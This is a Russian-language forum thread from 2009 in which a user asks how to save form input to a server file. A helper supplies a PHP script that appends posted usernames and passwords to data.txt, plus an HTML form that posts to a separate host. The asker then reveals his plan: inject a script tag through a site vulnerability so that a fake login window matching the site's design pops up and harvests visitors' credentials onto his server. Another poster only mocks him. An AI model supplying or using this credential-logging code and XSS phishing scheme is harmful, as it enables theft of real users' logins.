PDA

Просмотр полной версии : JavaScript. Помогите.


Artemik
21.05.2009, 18:29
Привет всем.

Как сделать:

При заходе на сайт появляется форма (или например на странице есть форма, но это неважно...)
Пользователь вводит туда данные (например имя и фамилию). А эти данные сохраняются в блокнот на сервере.

Помогите плиз сделать это. С меня + в репу ;)

Fepsis
21.05.2009, 18:49
Юзай пхп... Яваскрипт выполняется на компе юзера а не на сервере..

Artemik
21.05.2009, 19:42
Не. Мне именно JavaScript нужен. Я где то слышал что можно с помощью него произвести запись данных ( в моем случае, из формы) в файл(блокнот) на сервере.

[ DSU ]
21.05.2009, 19:58
В файл на сервере можно но бех перла пхп итд не обойтись...
Схема такая через яваскрипт путем юзания ajax технологии отправляеш данные чтоб не обновлялась страница... Если я тебя правельно понел...

sNt
21.05.2009, 20:30
Можно вывести форму на яве, которая предлогает ввести данные, а потом эти данные записывать с помощью php. Ява скрипт, на сколько я знаю, такими вещами не занимается

Artemik
21.05.2009, 20:38
хм....я завтра приведу кусочек кода, в котором как раз йава скрипт этим и занимается (счас прост времени неть)

rushter
21.05.2009, 21:05
JavaScript клиентский язык,ничего ты не приведешь...

Artemik
22.05.2009, 15:20
А если так:
У меня есть два хостинга. (2 сайта на разных хостингах)
На одном форма. В которые пользователь будет вводить данные. Но только на этом сайте не поддерживается php.
А на 2 сайте поддерживается.

Так что, если пользователь вводит данные на 1 сайте, а сохраняются данные на 2 сайте (на сервере 2 сайта)?

LEE_ROY
22.05.2009, 15:31
так можно сделать, и на хтмл без жс

<form name="input" action="http://tvoisait/a.php" method="post">
Username:
<input type="text" name="user" />
<input type="submit" value="Submit" />
</form>

Artemik
22.05.2009, 15:37
LEE_ROY я не совсем понял.
Что должно быть в http://tvoisait/a.php?

Может написать подробней?
Мне нужно чтобы на 1 сайте вводишь данные, а на другом (точнее на сервере другого сайта) сохранялись, так как на 1 сайте нет поддержки php.

LEE_ROY
22.05.2009, 16:39
save.php > этот файл сохраняет данные в файл
<?php
$fp = @fopen("data.txt","a");
fwrite($fp, $_POST['user']."\n".$_POST['password']."\n");
fclose($fp);
?>


index.html > тут твоя хтмл форма
<form name="input" action="http://tvoisait/save.php" method="post">
Username:
<input type="text" name="user" />
<input type="text" name="password" />
<input type="submit" value="Submit" />
</form>

прочитай в инете основы html и пхп, это займет 1 день, и будет все намного проще.

Artemik
22.05.2009, 19:16
LEE_ROY Спасибо! Все работает как я и хотел ;-) держи + =)

fatalo
22.05.2009, 20:04
Типа от вывода формы с помощью яваскрипта уже отказался?

Artemik
22.05.2009, 20:28
Нет. Но сделать это так, чтобы появлялось окошко с формами не сложно ведь.

Если конкретней то мне нужно:
В уязвимое место на сайте ввожу это
<SCRIPT LANGUAGE="Javascript" SRC="адрес скрипта"></SCRIPT>
А в этом скрипте будет код, вызывающий окошко для ввода логина и пароля. Они то и будут сохраняться на сервере)

P.S. Естесственно окошко будет совпадать по дизайну с сайтом, чтобы юзер ничего незаметил. ;)

D3f
23.05.2009, 23:00
лол, очередной кулхацкер :-) Топикстартер, учи основы пхп, простой язык. Готовые решения твоего вопроса есть в любом учебнике.
Сорри за оффтоп, просто достали (в реале) такие "кодеры/хакеры/веб-мастеры"

Artemik
24.05.2009, 11:27
Ыыы